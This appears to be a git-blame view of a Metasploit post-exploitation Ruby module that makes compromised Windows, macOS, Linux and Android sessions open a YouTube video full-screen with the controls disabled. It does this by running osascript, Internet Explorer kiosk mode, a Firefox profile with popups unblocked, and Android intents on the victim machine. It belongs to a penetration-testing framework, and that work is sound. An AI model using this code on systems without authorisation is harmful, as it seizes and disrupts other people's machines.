metasploit-framework/modules/post/multi/manage/play_youtube.rb

135 lines
3.6 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
include Msf::Post::File
2015-01-19 18:55:35 +00:00
PLAY_OPTIONS = 'autoplay=1&loop=1&disablekb=1&modestbranding=1&iv_load_policy=3&controls=0&showinfo=0&rel=0'
2015-01-19 18:50:34 +00:00
def initialize(info={})
super( update_info( info,
2013-12-18 20:06:45 +00:00
'Name' => 'Multi Manage YouTube Broadcast',
'Description' => %q{
2013-12-18 20:06:45 +00:00
This module will broadcast a YouTube video on specified compromised systems. It will play
the video in the target machine's native browser in full screen mode. The VID datastore
2013-12-18 20:06:45 +00:00
option is the "v" parameter in a YouTube video's URL.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
2016-02-19 02:13:39 +00:00
'Platform' => [ 'win', 'osx', 'linux', 'android' ],
2013-12-12 18:33:59 +00:00
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
register_options(
[
2013-12-18 20:06:45 +00:00
OptString.new('VID', [true, 'The video ID to the YouTube video'])
])
end
YOUTUBE_BASE_URL = "https://youtube.com/embed/"
2013-12-12 18:33:59 +00:00
#
2013-12-12 18:49:46 +00:00
# The OSX version uses an apple script to do this
2013-12-12 18:33:59 +00:00
#
def osx_start_video(id)
url = "#{YOUTUBE_BASE_URL}#{id}?#{PLAY_OPTIONS}"
2013-12-12 18:33:59 +00:00
script = ''
script << %Q|osascript -e 'tell application "Safari" to open location "#{url}"' |
script << %Q|-e 'activate application "Safari"' |
script << %Q|-e 'tell application "System Events" to key code {59, 55, 3}'|
2013-12-12 18:41:05 +00:00
begin
cmd_exec(script)
rescue EOFError
return false
end
true
2013-12-12 18:33:59 +00:00
end
#
# The Windows version uses the "embed" player to make sure IE won't download the SWF as an object
#
def win_start_video(id)
iexplore_path = "C:\\Program Files\\Internet Explorer\\iexplore.exe"
begin
session.sys.process.execute(iexplore_path, "-k #{YOUTUBE_BASE_URL}#{id}?#{PLAY_OPTIONS}")
2017-08-17 20:46:51 +00:00
rescue Rex::Post::Meterpreter::RequestError
return false
end
true
end
#
# The Linux version uses Firefox
# TODO: Try xdg-open?
#
def linux_start_video(id)
begin
# Create a profile
2013-12-12 22:19:06 +00:00
profile_name = Rex::Text.rand_text_alpha(8)
o = cmd_exec(%Q|firefox --display :0 -CreateProfile "#{profile_name} /tmp/#{profile_name}"|)
# Add user-defined settings to profile
s = %Q|
user_pref("dom.disable_open_during_load", false);
user_pref("browser.shell.checkDefaultBrowser", false);
|
write_file("/tmp/#{profile_name}/prefs.js", s)
# Start the video
url = "#{YOUTUBE_BASE_URL}#{id}?#{PLAY_OPTIONS}"
data_js = %Q|"data:text/html,<script>window.open('#{url}','','width:100000px;height:100000px');</script>"|
joe = "firefox --display :0 -p #{profile_name} #{data_js} &"
cmd_exec("/bin/sh -c #{joe.shellescape}")
rescue EOFError
return false
end
true
end
2016-01-12 08:13:29 +00:00
#
# The Android version is launched via an Intent
#
def android_start_video(id)
intenturl = "intent://youtube.com/watch?v=#{id}&autoplay=1#Intent;scheme=http;action=android.intent.action.VIEW;end"
begin
session.android.activity_start(intenturl)
2017-08-17 20:46:51 +00:00
rescue Rex::Post::Meterpreter::RequestError
2016-01-12 08:13:29 +00:00
return false
end
true
end
2013-12-12 18:33:59 +00:00
def start_video(id)
case session.platform
2016-10-29 04:59:05 +00:00
when 'osx'
2013-12-12 18:33:59 +00:00
osx_start_video(id)
2016-10-29 04:59:05 +00:00
when 'windows'
2013-12-12 18:33:59 +00:00
win_start_video(id)
2016-10-29 04:59:05 +00:00
when 'linux'
linux_start_video(id)
2016-10-29 04:59:05 +00:00
when 'android'
2016-01-12 08:13:29 +00:00
android_start_video(id)
2013-12-12 18:33:59 +00:00
end
end
def run
id = datastore['VID']
print_status("#{peer} - Spawning video...")
if start_video(id)
print_good("#{peer} - The video has started")
else
print_error("#{peer} - Unable to start the video")
return
end
end
end